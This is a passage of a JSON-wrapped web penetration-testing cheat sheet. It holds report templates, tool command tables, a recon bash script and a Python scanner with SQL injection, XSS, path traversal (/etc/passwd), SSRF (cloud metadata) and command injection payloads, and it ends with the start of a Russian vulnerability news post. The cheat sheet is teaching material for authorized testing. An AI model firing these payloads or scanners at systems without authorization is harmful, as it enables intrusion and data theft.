forwarding\nsocat TCP-LISTEN:8080,fork TCP:target:80\n\n# Windows\n# netsh port forwarding\nnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=target\n```\n\n---\n\n## Reporting\n\n### Report Structure\n\n#### Executive Summary\n```\nEXECUTIVE SUMMARY\n=================\n- Overview of engagement\n- Key findings (high-level)\n- Risk ratings\n- Business impact\n- Strategic recommendations\n- Scope and methodology summary\n```\n\n#### Technical Details\n```\nTECHNICAL FINDINGS\n==================\nFinding #1: [Title]\n- Severity: Critical/High/Medium/Low/Info\n- CVSS Score: X.X (Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n- CWE: CWE-89\n- CVE: CVE-2024-XXXX (if applicable)\n- Affected Component: /path/to/vulnerable/endpoint\n- Description: Detailed description of the vulnerability\n- Impact: What an attacker can achieve\n- Evidence: Proof of concept, screenshots, request/response\n- Remediation: How to fix the issue\n- References: Links to documentation, CVEs, etc.\n```\n\n#### Remediation Recommendations\n```\nREMEDIATION GUIDELINES\n======================\nShort-term fixes:\n1. [Immediate actions]\n\nLong-term solutions:\n1. [Architectural changes]\n\nSecurity controls to implement:\n1. [Preventive controls]\n2. [Detective controls]\n3. [Corrective controls]\n```\n\n### Reporting Tools\n\n#### Dradis Framework\n```bash\n# Install\ngem install dradis\n\n# Start\ndradis start\n\n# Web interface at https://localhost:3000\n```\n\n#### Serpico\n```bash\n# Install\ngit clone https://github.com/SerpicoProject/Serpico.git\ncd Serpico\nbundle install\nruby serpico.rb\n```\n\n#### Pwndoc\n```bash\n# Docker\ndocker run -p 4242:4242 pwndoc/pwndoc\n```\n\n### Report Templates\n\n#### Markdown Template\n```markdown\n# Penetration Test Report\n\n## 1. Executive Summary\n[1-2 paragraphs describing the engagement and key findings]\n\n**Total Findings:** X\n- Critical: X\n- High: X\n- Medium: X\n- Low: X\n- Informational: X\n\n## 2. Scope\n- In-scope: [domains, IP ranges, applications]\n- Out-of-scope: [excluded items]\n- Testing dates: [start date] to [end date]\n\n## 3. Methodology\n- Phase 1: Reconnaissance\n- Phase 2: Scanning & Enumeration\n- Phase 3: Vulnerability Assessment\n- Phase 4: Exploitation\n- Phase 5: Post-Exploitation\n- Phase 6: Reporting\n\n## 4. Findings\n\n### 4.1 [Finding Title]\n**Severity:** Critical/High/Medium/Low/Info\n**CVSS:** X.X (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-89\n**Affected Component:** [URL/path]\n\n**Description:**\n[Detailed description]\n\n**Impact:**\n[What an attacker can achieve]\n\n**Evidence:**\n```\nRequest:\nGET /vulnerable.php?id=1' UNION SELECT 1,2,3--\n\nResponse:\n{\"id\":1,\"name\":\"admin\",\"email\":\"admin@localhost\"}\n```\n\n**Screenshot:**\n![Evidence](screenshots/finding1.png)\n\n**Remediation:**\n[Step-by-step fix]\n\n**References:**\n- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)\n\n## 5. Remediation Summary\n\n| Priority | Finding | Difficulty | Estimated Time |\n|----------|---------|------------|----------------|\n| Critical | SQL Injection | Medium | 2 hours |\n| High | XSS | Easy | 1 hour |\n| Medium | Missing HSTS | Easy | 30 minutes |\n\n## 6. Appendix\n- A. Tools Used\n- B. Wordlists\n- C. Raw Scan Results\n```\n\n#### Python Report Generator\n```python\n#!/usr/bin/env python3\n# report_generator.py\n\nimport json\nimport datetime\nfrom jinja2 import Template\n\nclass PentestReport:\n    def __init__(self, target, tester, date=None):\n        self.target = target\n        self.tester = tester\n        self.date = date or datetime.datetime.now().strftime(\"%Y-%m-%d\")\n        self.findings = []\n        self.scope = {}\n        self.summary = {}\n    \n    def add_finding(self, finding):\n        self.findings.append(finding)\n    \n    def generate_summary(self):\n        severity_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n        for f in self.findings:\n            severity_counts[f.get(\"severity\", \"info\").lower()] += 1\n        self.summary = severity_counts\n        return severity_counts\n    \n    def to_markdown(self):\n        template = Template(\"\"\"\n# Penetration Test Report: {{ target }}\n\n## Executive Summary\n**Date:** {{ date }}\n**Tester:** {{ tester }}\n\n### Summary of Findings\n- Critical: {{ summary.critical }}\n- High: {{ summary.high }}\n- Medium: {{ summary.medium }}\n- Low: {{ summary.low }}\n- Info: {{ summary.info }}\n\n## Findings\n{% for finding in findings %}\n### {{ loop.index }}. {{ finding.title }}\n**Severity:** {{ finding.severity }}\n**CVSS:** {{ finding.cvss }}\n**Affected:** {{ finding.affected }}\n\n**Description:**\n{{ finding.description }}\n\n**Impact:**\n{{ finding.impact }}\n\n**Evidence:**\n```\n{{ finding.evidence }}\n```\n\n**Remediation:**\n{{ finding.remediation }}\n\n**References:**\n{% for ref in finding.references %}\n- {{ ref }}\n{% endfor %}\n\n---\n{% endfor %}\n        \"\"\")\n        \n        self.generate_summary()\n        return template.render(\n            target=self.target,\n            tester=self.tester,\n            date=self.date,\n            summary=self.summary,\n            findings=self.findings\n        )\n    \n    def to_json(self):\n        self.generate_summary()\n        return json.dumps({\n            \"metadata\": {\n                \"target\": self.target,\n                \"tester\": self.tester,\n                \"date\": self.date\n            },\n            \"summary\": self.summary,\n            \"findings\": self.findings\n        }, indent=2)\n\n# Example usage\nif __name__ == \"__main__\":\n    report = PentestReport(\"target.com\", \"awjunaid\")\n    \n    report.add_finding({\n        \"title\": \"SQL Injection in Login\",\n        \"severity\": \"critical\",\n        \"cvss\": \"9.8\",\n        \"affected\": \"/login\",\n        \"description\": \"The username parameter is vulnerable to SQL injection...\",\n        \"impact\": \"Attacker can bypass authentication and access all user data\",\n        \"evidence\": \"username=admin' OR '1'='1'--\",\n        \"remediation\": \"Use parameterized queries\",\n        \"references\": [\"https://owasp.org/SQLi\"]\n    })\n    \n    with open(\"report.md\", \"w\") as f:\n        f.write(report.to_markdown())\n    \n    with open(\"report.json\", \"w\") as f:\n        f.write(report.to_json())\n```\n\n---\n\n## Tools Reference\n\n### Comprehensive Tool List\n\n#### Reconnaissance\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Amass** | Subdomain enumeration | `amass enum -d target.com` |\n| **Sublist3r** | Subdomain discovery | `sublist3r -d target.com` |\n| **theHarvester** | OSINT gathering | `theHarvester -d target.com -b all` |\n| **dnsrecon** | DNS enumeration | `dnsrecon -d target.com` |\n| **massdns** | High-performance DNS | `massdns -r lists/resolvers.txt -t A domains.txt` |\n| **shodan** | Internet device search | `shodan search hostname:target.com` |\n| **censys** | Certificate search | `censys search target.com` |\n\n#### Scanning\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nmap** | Port scanning | `nmap -sV -sC target.com` |\n| **Masscan** | High-speed scanning | `masscan -p1-65535 --rate=10000 target.com` |\n| **Rustscan** | Fast port scanner | `rustscan -a target.com` |\n| **Naabu** | Port scanning | `naabu -host target.com` |\n| **Httpx** | HTTP probing | `httpx -l hosts.txt -title -tech-detect` |\n\n#### Web Enumeration\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Gobuster** | Directory brute force | `gobuster dir -u target.com -w wordlist.txt` |\n| **FFUF** | Web fuzzing | `ffuf -u target.com/FUZZ -w wordlist.txt` |\n| **Dirb** | Directory scanner | `dirb http://target.com` |\n| **Wfuzz** | Web fuzzer | `wfuzz -c -z file,wordlist.txt target.com/FUZZ` |\n| **Nikto** | Web vulnerability scanner | `nikto -h target.com` |\n| **WhatWeb** | Technology detection | `whatweb target.com` |\n| **WPScan** | WordPress scanner | `wpscan --url target.com` |\n| **Joomscan** | Joomla scanner | `joomscan -u target.com` |\n| **Droopescan** | Drupal scanner | `droopescan scan drupal -u target.com` |\n\n#### Vulnerability Assessment\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nuclei** | Template-based scanner | `nuclei -u target.com` |\n| **OpenVAS** | Vulnerability scanner | `gvm-start` |\n| **Nessus** | Commercial scanner | `nessuscli scan new` |\n| **Wapiti** | Web vulnerability scanner | `wapiti -u https://target.com` |\n| **Arachni** | Web scanner | `arachni https://target.com` |\n\n#### Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Metasploit** | Exploitation framework | `msfconsole` |\n| **SQLmap** | SQL injection | `sqlmap -u target.com?id=1` |\n| **Commix** | Command injection | `commix -u target.com?cmd=test` |\n| **BeEF** | Browser exploitation | `beef` |\n| **XSStrike** | XSS scanner | `xsstrike -u target.com?q=test` |\n| **Dalfox** | XSS scanner | `dalfox url target.com?p=test` |\n\n#### Password Attacks\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Hydra** | Online brute force | `hydra -l admin -P pass.txt target.com http-post-form` |\n| **Medusa** | Parallel brute force | `medusa -h target.com -U users.txt -P pass.txt -M http` |\n| **John** | Offline password cracker | `john --wordlist=rockyou.txt hash.txt` |\n| **Hashcat** | GPU password cracker | `hashcat -m 0 -a 0 hash.txt rockyou.txt` |\n| **CeWL** | Custom wordlist generator | `cewl https://target.com -w wordlist.txt` |\n\n#### Post-Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **LinPEAS** | Linux privilege escalation | `./linpeas.sh` |\n| **WinPEAS** | Windows privilege escalation | `.\\winPEAS.exe` |\n| **Impacket** | Network protocols | `psexec.py user:pass@target` |\n| **Mimikatz** | Credential dumping | `mimikatz.exe` |\n| **BloodHound** | Active Directory mapping | `bloodhound-python -u user -p pass -d domain.local` |\n\n#### Proxies & Interception\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Burp Suite** | Web proxy | Start from Applications menu |\n| **ZAP** | Web proxy | `zaproxy` |\n| **Mitmproxy** | CLI proxy | `mitmproxy` |\n| **Proxychains** | Proxy chaining | `proxychains nmap target.com` |\n\n#### Wordlists\n| Wordlist | Location | Description |\n|----------|----------|-------------|\n| **rockyou.txt** | `/usr/share/wordlists/rockyou.txt` | Common passwords |\n| **SecLists** | `/usr/share/seclists` | Comprehensive wordlists |\n| **dirb common** | `/usr/share/wordlists/dirb/common.txt` | Common directories |\n| **dirbuster** | `/usr/share/wordlists/dirbuster` | Directory lists |\n| **fuzzdb** | `/usr/share/fuzzdb` | Attack payloads |\n\n---\n\n## Practice Labs & Resources\n\n### Online Platforms\n\n#### Free Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **PortSwigger Web Security Academy** | https://portswigger.net/web-security | Free XSS, SQLi, SSRF labs |\n| **OWASP WebGoat** | https://github.com/WebGoat/WebGoat | Vulnerable web app |\n| **OWASP Juice Shop** | https://github.com/juice-shop/juice-shop | Modern vulnerable app |\n| **DVWA** | http://www.dvwa.co.uk/ | Damn Vulnerable Web App |\n| **bWAPP** | http://www.itsecgames.com/ | Buggy web app |\n| **Mutillidae** | https://github.com/webpwnized/mutillidae | OWASP Mutillidae II |\n\n#### Paid/Subscription Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **HackTheBox** | https://www.hackthebox.com | Realistic machines |\n| **TryHackMe** | https://tryhackme.com | Guided learning |\n| **PentesterLab** | https://pentesterlab.com | Hands-on exercises |\n| **PentesterAcademy** | https://www.pentesteracademy.com | Video courses |\n| **Offensive Security Proving Grounds** | https://www.offensive-security.com/labs/ | OSCP practice |\n| **VulnHub** | https://www.vulnhub.com | Downloadable VMs |\n\n### CTF Platforms\n| Platform | URL | Focus |\n|----------|-----|-------|\n| **CTFtime** | https://ctftime.org | CTF calendar & rankings |\n| **PicoCTF** | https://picoctf.org | Beginner-friendly |\n| **OverTheWire** | https://overthewire.org | WarGames |\n| **RingZer0** | https://ringzer0ctf.com | CTF challenges |\n| **Hacker101** | https://www.hacker101.com | Bug bounty training |\n\n### Bug Bounty Platforms\n| Platform | URL |\n|----------|-----|\n| **HackerOne** | https://www.hackerone.com |\n| **Bugcrowd** | https://www.bugcrowd.com |\n| **Intigriti** | https://www.intigriti.com |\n| **YesWeHack** | https://www.yeswehack.com |\n| **Synack** | https://www.synack.com |\n\n### Reference Materials\n\n#### Books\n| Title | Author | Focus |\n|-------|--------|-------|\n| **The Web Application Hacker's Handbook** | Stuttard & Pinto | Web app testing |\n| **OWASP Testing Guide** | OWASP | Comprehensive methodology |\n| **Penetration Testing: A Hands-On Introduction** | Georgia Weidman | General pentesting |\n| **Red Team Field Manual** | Ben Clark | Quick reference |\n| **Blue Team Field Manual** | Alan White | Defense reference |\n| **Hacking: The Art of Exploitation** | Jon Erickson | Technical deep dive |\n\n#### Online Resources\n| Resource | URL | Focus |\n|----------|-----|-------|\n| **OWASP** | https://owasp.org | Web security |\n| **HackTricks** | https://book.hacktricks.xyz | Pentesting techniques |\n| **PayloadsAllTheThings** | https://github.com/swisskyrepo/PayloadsAllTheThings | Payload collection |\n| **GTFOBins** | https://gtfobins.github.io | Linux binary exploitation |\n| **LOLBAS** | https://lolbas-project.github.io | Windows binary exploitation |\n| **Exploit-DB** | https://www.exploit-db.com | Exploit database |\n| **CVE Details** | https://www.cvedetails.com | CVE database |\n| **MITRE ATT&CK** | https://attack.mitre.org | Adversary tactics |\n\n### YouTube Channels\n| Channel | Focus |\n|---------|-------|\n| **IppSec** | HackTheBox walkthroughs |\n| **The Cyber Mentor** | Pentesting tutorials |\n| **ST\u00d6K** | Bug bounty |\n| **HackerSploit** | Security tutorials |\n| **John Hammond** | CTF walkthroughs |\n| **LiveOverflow** | Technical deep dives |\n\n### Certifications\n| Certification | Provider | Focus |\n|---------------|----------|-------|\n| **OSCP** | Offensive Security | Hands-on pentesting |\n| **OSWP** | Offensive Security | Wireless pentesting |\n| **OSWE** | Offensive Security | Web app pentesting |\n| **OSEP** | Offensive Security | Advanced evasion |\n| **CEH** | EC-Council | Ethical hacking |\n| **eWPT** | eLearnSecurity | Web pentesting |\n| **eCPPT** | eLearnSecurity | Network pentesting |\n| **PNPT** | TCM Security | Practical pentesting |\n| **GPEN** | GIAC | Network pentesting |\n| **GWAPT** | GIAC | Web app pentesting |\n| **CISSP** | ISC\u00b2 | Security management |\n\n---\n\n## Sample Scripts\n\n### Complete Reconnaissance Script\n\n```bash\n#!/bin/bash\n# recon.sh - Complete reconnaissance script\n# Usage: ./recon.sh target.com\n\nTARGET=\"$1\"\nOUTDIR=\"recon_${TARGET}_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$OUTDIR\"\ncd \"$OUTDIR\"\n\necho \"[*] Starting reconnaissance against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# 1. WHOIS\necho \"[*] WHOIS lookup...\"\nwhois \"$TARGET\" > whois.txt 2>&1\n\n# 2. DNS enumeration\necho \"[*] DNS enumeration...\"\ndig \"$TARGET\" ANY +noall +answer > dns_any.txt\ndig \"$TARGET\" MX +short > dns_mx.txt\ndig \"$TARGET\" NS +short > dns_ns.txt\ndig \"$TARGET\" TXT +short > dns_txt.txt\n\n# Zone transfer attempt\nfor ns in $(cat dns_ns.txt); do\n    echo \"[*] Attempting zone transfer from $ns\"\n    dig AXFR \"$TARGET\" \"@$ns\" >> zonetransfer.txt 2>&1\ndone\n\n# 3. Subdomain enumeration\necho \"[*] Subdomain enumeration...\"\nsublist3r -d \"$TARGET\" -o sublist3r.txt > /dev/null 2>&1\namass enum -passive -d \"$TARGET\" -o amass.txt > /dev/null 2>&1\ncat sublist3r.txt amass.txt 2>/dev/null | sort -u > subdomains.txt\n\n# 4. HTTP probing\necho \"[*] HTTP probing...\"\nif [ -f subdomains.txt ]; then\n    httpx -l subdomains.txt -title -tech-detect -status-code -o httpx.txt\nfi\n\n# 5. Technology detection\necho \"[*] Technology detection...\"\nwhatweb \"https://$TARGET\" --log-json=whatweb.json > /dev/null 2>&1\nwafw00f \"https://$TARGET\" > waf.txt 2>&1\n\n# 6. HTTP headers\necho \"[*] HTTP headers...\"\ncurl -sI \"https://$TARGET\" > headers.txt\n\n# 7. robots.txt & sitemap\necho \"[*] robots.txt and sitemap...\"\ncurl -s \"https://$TARGET/robots.txt\" > robots.txt\ncurl -s \"https://$TARGET/sitemap.xml\" > sitemap.xml\n\n# 8. Wayback URLs\necho \"[*] Wayback Machine URLs...\"\nwaybackurls \"$TARGET\" > wayback.txt\ngrep \"=\" wayback.txt > wayback_params.txt\n\n# 9. Port scanning (quick)\necho \"[*] Quick port scan...\"\nnmap -T4 -F --open -oN nmap_quick.txt \"$TARGET\"\n\n# 10. Generate report\necho \"[*] Generating report...\"\ncat > report.md << EOF\n# Reconnaissance Report: $TARGET\n\n## Date\n$(date)\n\n## WHOIS Summary\n\\`\\`\\`\n$(head -20 whois.txt)\n\\`\\`\\`\n\n## DNS Records\n### Name Servers\n$(cat dns_ns.txt)\n\n### Mail Servers\n$(cat dns_mx.txt)\n\n### TXT Records\n$(cat dns_txt.txt)\n\n## Subdomains Found\n$(wc -l subdomains.txt 2>/dev/null || echo \"0\") subdomains found\n\\`\\`\\`\n$(head -20 subdomains.txt 2>/dev/null)\n\\`\\`\\`\n\n## Technologies Detected\n\\`\\`\\`\n$(cat whatweb.json 2>/dev/null | jq -r '.[] | \"\\(.plugin): \\(.version // \"unknown\")\"' 2>/dev/null)\n\\`\\`\\`\n\n## Security Headers\n\\`\\`\\`\n$(cat headers.txt)\n\\`\\`\\`\n\n## Open Ports\n\\`\\`\\`\n$(grep \"open\" nmap_quick.txt 2>/dev/null | head -20)\n\\`\\`\\`\n\n## Interesting URLs from Wayback\n\\`\\`\\`\n$(head -20 wayback_params.txt 2>/dev/null)\n\\`\\`\\`\nEOF\n\necho \"[+] Recon complete! Results in $OUTDIR\"\necho \"[+] Report: $OUTDIR/report.md\"\n```\n\n### Web Vulnerability Scanner\n\n```python\n#!/usr/bin/env python3\n# web_scanner.py - Multi-vulnerability web scanner\n# Usage: python3 web_scanner.py -u https://target.com\n\nimport argparse\nimport requests\nimport urllib.parse\nimport re\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass WebScanner:\n    def __init__(self, base_url, threads=10, timeout=10):\n        self.base_url = base_url.rstrip('/')\n        self.threads = threads\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) WebScanner/1.0'\n        })\n        self.session.verify = False\n        self.findings = []\n        \n        # Payloads\n        self.sqli_payloads = [\n            \"' OR '1'='1\",\n            \"' OR 1=1--\",\n            \"1' AND '1'='1\",\n            \"1' AND '1'='2\",\n            \"1' UNION SELECT NULL--\",\n            \"1' UNION SELECT NULL,NULL--\",\n            \"1' AND SLEEP(5)--\",\n            \"1' WAITFOR DELAY '00:00:05'--\"\n        ]\n        \n        self.xss_payloads = [\n            \"alert('XSS')\",\n            \"\",\n            \"\",\n            \"javascript:alert(1)\",\n            \"\\\">alert(1)\"\n        ]\n        \n        self.lfi_payloads = [\n            \"../../../etc/passwd\",\n            \"../../../../etc/passwd\",\n            \"..\\\\..\\\\..\\\\windows\\\\win.ini\",\n            \"../../../etc/passwd%00\",\n            \"../../../etc/passwd%00.png\"\n        ]\n        \n        self.ssrf_payloads = [\n            \"http://127.0.0.1/\",\n            \"http://localhost/\",\n            \"http://169.254.169.254/latest/meta-data/\",\n            \"http://[::1]/\",\n            \"file:///etc/passwd\"\n        ]\n        \n        self.cmdi_payloads = [\n            \"; id\",\n            \"| id\",\n            \"&& id\",\n            \"`id`\",\n            \"$(id)\",\n            \"; sleep 5\"\n        ]\n    \n    def discover_params(self):\n        \"\"\"Discover parameters from URL\"\"\"\n        parsed = urllib.parse.urlparse(self.base_url)\n        params = urllib.parse.parse_qs(parsed.query)\n        discovered = list(params.keys())\n        \n        # Common parameter names to test\n        common_params = ['id', 'page', 'file', 'url', 'path', 'q', 'search', \n                        'query', 'name', 'user', 'username', 'email', 'pass', \n                        'password', 'redirect', 'return', 'next', 'view', \n                        'action', 'cat', 'category']\n        \n        # Add common params if none discovered\n        if not discovered:\n            discovered = common_params\n        \n        return discovered\n    \n    def test_sqli(self, url, param):\n        \"\"\"Test SQL injection\"\"\"\n        for payload in self.sqli_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload.lower():\n                    self.add_finding('SQLi', param, payload, 'Time-based blind')\n                    return\n                \n                # Check for error-based\n                if any(err in resp.text.lower() for err in \n                       ['sql', 'mysql', 'syntax error', 'ora-', 'microsoft ole db']):\n                    self.add_finding('SQLi', param, payload, 'Error-based')\n                    return\n                \n                # Check for boolean-based\n                true_payload = f\"1' AND '1'='1\"\n                false_payload = f\"1' AND '1'='2\"\n                \n                true_resp = self.session.get(f\"{url}?{param}={true_payload}\")\n                false_resp = self.session.get(f\"{url}?{param}={false_payload}\")\n                \n                if len(true_resp.text) != len(false_resp.text):\n                    self.add_finding('SQLi', param, 'Boolean-based', \n                                    'Different response lengths')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_xss(self, url, param):\n        \"\"\"Test Cross-Site Scripting\"\"\"\n        for payload in self.xss_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check if payload is reflected\n                if payload in resp.text or urllib.parse.quote(payload) in resp.text:\n                    self.add_finding('XSS', param, payload, 'Reflected')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_lfi(self, url, param):\n        \"\"\"Test Local File Inclusion\"\"\"\n        for payload in self.lfi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for file contents\n                if re.search(r'root:.*:0:0:|\\[extensions\\]|for 16-bit app', resp.text):\n                    self.add_finding('LFI', param, payload, 'File read')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_ssrf(self, url, param):\n        \"\"\"Test Server-Side Request Forgery\"\"\"\n        for payload in self.ssrf_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for internal/cloud metadata\n                if re.search(r'ami-id|instance-id|localhost|root:', resp.text, re.I):\n                    self.add_finding('SSRF', param, payload, 'Internal access')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_cmdi(self, url, param):\n        \"\"\"Test Command Injection\"\"\"\n        for payload in self.cmdi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload:\n                    self.add_finding('Command Injection', param, payload, 'Time-based')\n                    return\n                \n                # Check for command output\n                if re.search(r'uid=\\d+|gid=\\d+|root:', resp.text):\n                    self.add_finding('Command Injection', param, payload, 'Command output')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def check_headers(self):\n        \"\"\"Check security headers\"\"\"\n        try:\n            resp = self.session.get(self.base_url, timeout=self.timeout)\n            headers = {k.lower(): v for k, v in resp.headers.items()}\n            \n            security_headers = {\n                'strict-transport-security': 'HSTS',\n                'content-security-policy': 'CSP',\n                'x-frame-options': 'X-Frame-Options',\n                'x-content-type-options': 'X-Content-Type-Options',\n                'x-xss-protection': 'X-XSS-Protection',\n                'referrer-policy': 'Referrer-Policy'\n            }\n            \n            missing = []\n            for header, name in security_headers.items():\n                if header not in headers:\n                    missing.append(name)\n            \n            if missing:\n                self.findings.append({\n                    'type': 'Missing Security Headers',\n                    'details': f\"Missing: {', '.join(missing)}\"\n                })\n                \n        except Exception as e:\n            print(f\"[-] Header check failed: {e}\")\n    \n    def add_finding(self, vuln_type, param, payload, details):\n        \"\"\"Add finding to results\"\"\"\n        finding = {\n            'type': vuln_type,\n            'parameter': param,\n            'payload': payload,\n            'details': details,\n            'url': self.base_url\n        }\n        self.findings.append(finding)\n        print(f\"[!] Found: {vuln_type} on parameter '{param}' - {details}\")\n    \n    def scan(self):\n        \"\"\"Main scan function\"\"\"\n        print(f\"[*] Starting scan on {self.base_url}\")\n        \n        # Discover parameters\n        params = self.discover_params()\n        print(f\"[*] Testing parameters: {', '.join(params)}\")\n        \n        # Check headers\n        self.check_headers()\n        \n        # Test each parameter\n        for param in params:\n            print(f\"[*] Testing parameter: {param}\")\n            \n            # Run all tests\n            self.test_sqli(self.base_url, param)\n            self.test_xss(self.base_url, param)\n            self.test_lfi(self.base_url, param)\n            self.test_ssrf(self.base_url, param)\n            self.test_cmdi(self.base_url, param)\n        \n        # Print summary\n        print(\"\\n\" + \"=\"*50)\n        print(\"SCAN SUMMARY\")\n        print(\"=\"*50)\n        print(f\"Total findings: {len(self.findings)}\")\n        \n        for i, finding in enumerate(self.findings, 1):\n            print(f\"\\n{i}. {finding['type']}\")\n            print(f\"   Parameter: {finding.get('parameter', 'N/A')}\")\n            print(f\"   Details: {finding['details']}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Web Vulnerability Scanner')\n    parser.add_argument('-u', '--url', required=True, help='Target URL')\n    parser.add_argument('-t', '--threads', type=int, default=10, help='Threads')\n    parser.add_argument('--timeout', type=int, default=10, help='Timeout')\n    \n    args = parser.parse_args()\n    \n    scanner = WebScanner(args.url, args.threads, args.timeout)\n    scanner.scan()\n\nif __name__ == '__main__':\n    import time\n    main()\n```\n\n---\n\n## Conclusion\n\nThis comprehensive web penetration testing cheat sheet covers the essential tools, techniques, and methodologies for ethical hacking and security testing. Remember:\n\n### Key Principles\n1. **Always obtain proper authorization** before testing\n2. **Stay within scope** defined in the rules of engagement\n3. **Document everything** for evidence and reporting\n4. **Follow responsible disclosure** when finding vulnerabilities\n5. **Continuous learning** - the security landscape constantly evolves\n\n### Next Steps\n1. Set up a practice lab (DVWA, WebGoat, HackTheBox)\n2. Master the core tools (Burp Suite, Nmap, SQLmap)\n3. Learn programming (Python, Bash, JavaScript)\n4. Get certified (OSCP, PNPT, etc.)\n5. Participate in bug bounty programs\n6. Stay updated with security news and CVEs\n\n### Stay Legal, Stay Ethical\nRemember that with great power comes great responsibility. Use these skills to make the internet safer, not to cause harm. Always test with permission and report vulnerabilities responsibly.\n\n---\n\n*\u00a9 2025 awjunaid.com - For authorized security testing only*", "creation_timestamp": "2026-08-25T16:06:29.565394Z"}, {"uuid": "e6356e25-f8ce-4213-8a66-52b70f15b2de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c 